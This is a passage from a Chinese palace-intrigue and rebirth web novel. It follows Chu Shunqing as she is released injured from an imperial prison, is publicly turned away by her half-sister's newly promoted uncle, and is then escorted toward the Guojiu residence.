他牢记外甥女楚念辞的嘱咐:低调行事,公正廉洁。
以前做大粮商、盐商时,就跟漕运打过交道。
只是那时不能科举,没背景没人引荐,空有本事使不上劲。
如今机会总算来了,让他管这个事儿,简直就是手到擒来。
可他心里跟明镜似的……越是这种时候,越要小心谨慎。
所以哪怕被一群人围着巴结,他对上司妥贴周到,对同僚礼仪周全,礼物一概不收。
反而送上些家乡土产应付着。
行事豪爽又周到,众人有口皆碑。
与此同时,诏狱,地牢。
“呕……”楚舜卿在又冷又臭的地牢里吐了。
在这潮湿腥臭的地方,她足足待了一个月。
她低头看向自己的左脚,脚掌已经烂掉了一半,有的地方都已经烂出了骨头,流出了黄色的脓液。
这条腿是她自己用药弄烂的……为了逃避充军发配。
虽然姐姐一句话救了自己一条命,但她明明就是宠妃。
怎么就不能把自己救出去。
分明就是要自己,在这里吃苦受罪。
她还是妒忌自己抢走了蔺郎。
“楚舜卿,亏了慧娘娘帮你求情,让你回家养伤,等好了再来服刑。”女狱卒大声呵斥。
放她回家。
楚舜卿心中一喜。
谁知没等她高兴完,那女人一挥手,两个狱卒便进来,像拖死狗一样把她往外拖。
楚舜卿被一脚从牢门踹了出去,差点骨头散了架。
脚上钻心的疼痛,让她一口气差点没缓过来。
趴在冰冷的泥地上,忍不住哀声痛哭。
押送的太监骂了句晦气,扬手就给了她一拂尘:“哭什么哭?给自己号丧呢?老子倒霉,押你回家一分钱捞不着,还趴在这儿干什么,等着上午饭呢,快走!”
说完又推了她一把。
楚舜卿望着长长的甬道,做了好大心理建设,才慢慢挪了两步。
烂脚一沾地,疼得刺骨,她连忙缩回来,眼泪一滴一滴掉在地上。
前世,她就算被皇后遗弃,好歹也在府里过了多年好日子。
蔺家最后成了勋贵世族,她衣来伸手饭来张口,何等风光。
为何这一世,才过了不到半年,自己就落到这般田地?
她咬咬牙,从嘴里吐出一片金叶子。
那是受刑前偷偷藏下的。
在狱中受了那么多罪都没舍得用,就等着出狱这一天。
老太监见了,一把夺过来,用黄牙咬了一口,干瘦的脸上浮出笑纹。
“算你识相,”他瞥了眼她的烂脚,搓搓手道,“这样走下去,到天黑也到不了地方,宫外城墙根有雇佣马车。”
两人一步一挪,好不容易走到城墙根。
雇好马车,老太监问她:“你这是回国舅府还是去哪儿?”
楚舜卿一愣,这才想起老伯爷已被削爵罢官,如今只保留着蔺景瑞的国舅称号。
所以老太监说“国舅府”倒也没错。
可想到自己亲手拿药害**蔺景珏,就算能骗过蔺景瑞,以谢氏那精明多疑的性子,定能猜到是她搞的鬼。
回去还能有好果子吃?
她咬了咬嘴唇:“去铜锣巷。”
乔大舅住铜锣巷,她与楚念辞都是父亲的女儿,她的舅舅也是自己的舅舅。
她觉得去乔大舅家住,天经地义,没哪儿不对。
完全忘了当初结婚时是怎么当乔大舅的面,羞辱楚念辞的。
也忘了自己的小娘,只是个外室,到现在还没有进楚家大门。
行了一个多时辰,才来到铜锣巷。
还没到门口,楚舜卿就听见一片鞭炮声与锣鼓声。
她一眼看见乔大舅正在门口迎接官员。
“大舅……”楚舜卿死死盯着乔大舅身上的六品官服,整个人几乎疯魔。
“不……不可能……你只是个商人,怎么又升官了?”
“这辈子楚念辞怎么会如此受宠,还能带着你鸡犬升天?不……肯定不是真的……”
她明明记得上辈子,帝王冰冷无情,连皇后都不得圣心。
而楚念辞此时更是被谢氏磋磨,又被夫君不喜。
而乔大舅那个时候,在京城生意失败,连江南的生意都赔了进去,举家去了边陲小城。
为什么这一世,什么都不一样了?
“怎么会这样?楚念辞怎么就成了陛下心尖尖上的人?”
“她不会有好下场的!陛下为什么会宠爱一个心中只有荣华的女人?”
她颠三倒四地胡言乱语。
乔大舅本来就极其讨厌她,又听他当着众人污蔑外甥女,胡言乱语……
听得火起,对左右仆从呵斥道:“你们都是干什么吃的?”
“把这个疯婆子给我赶走!”
仆人们听令上前驱赶。
这时恭贺的官员与左右邻居跑出来,探头探脑地张望。
“大舅,你要赶我走,再怎么说我也是你的外甥女……呜呜……”
"你不能这么无情啊!"她捂着脸,哭哭啼啼。
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>“到底怎么回事?”
“她说是乔老爷家的外甥女。”
“落难了,就这样把人赶出去,太无情了吧。”
众人交头接耳,议论纷纷,大部分人看这样弱女子,又受了伤,纷纷露出同情可怜的神。
楚舜卿听众人可怜自己,立即露出更加哀宛的神色:“大舅,你别赶我走,哪怕在你的府上做一个佣人,做一个下人,只要给我一口饭吃就行,别赶我走……呜呜……”
乔大舅瞪着她,怒火更盛。
自己妹妹嫁进楚家,就是因为这楚舜卿的娘,与妹夫闹到几乎**。
而当初外甥女嫁到蔺家,她竞私自跑到南召去,勾引蔺景瑞,差点害得外甥女,沦为京城的笑柄。
若不是外甥女当机立断,入宫为妃,摆脱了蔺景瑞这个负心汉,又获得圣宠,还不知要吃多少苦。
她倒有脸跑到自己门上来,还这般装可怜。
“给我住嘴,谁是你大舅?”他厉声道,“我没有你这个外甥女!”
“我妹姓乔,你娘姓什么。”
“你这外室女,我家妹妹是楚家正头主母,从未喝过**妾室茶,你算什么我的外甥女。”
楚舜卿被堵得一噎,说不出话来。
只好抹着眼泪哀哭。
众官员这才明白,原来是乔家妹夫在外面私自生的外室女,
这些当官的最重体统,不管自己在外头养多少个小的。
大庭广众,对这种有辱门楣的事,当然要表现出同仇敌忾义愤填膺的神色。
所以众官员一时间纷纷露出鄙夷的神色,不断有人出言谴责。
“一个外室生的贱种,也敢找上门来。”
“直接打出去算完。”
“你们都是干什么吃的,还不动手。”
门口仆人们乱棍挥来,将马车赶开,马儿被赶得嘶嘶鸣叫。
车夫心疼马匹,又气又骂,可对方是官宦人家,不敢上前理论,只得掉转马头。
老太监嗤笑道:“行了,我瞧着人家没把你当亲戚,何必热脸贴冷屁股上杆子找不痛快,还是去国舅府吧。”
如今楚舜卿听不得国舅府三个字。
于是哀切切地央求:“公公,能不能送我去附近的慈善堂?”
慈善堂是端木清羽省下修缮宫殿的钱,刚刚在京城设立的慈善机构。
专门收容无人抚养的鳏寡孤独,老弱病残。
“那可不行,”老太监冷嗤道,“你如今还是囚犯,腿好了,你还要去充军,必须把你送到保人手里。”
“去国舅府。”老太监对着车夫呵斥道。
对楚舜卿来说,这几句,简直就是如宣判了她的末日一般。
这简直比杀了她还难受!
可是那老太监不管她,如何反对,如何哀求,只是想尽快完成这件事儿。
马车转向国舅府……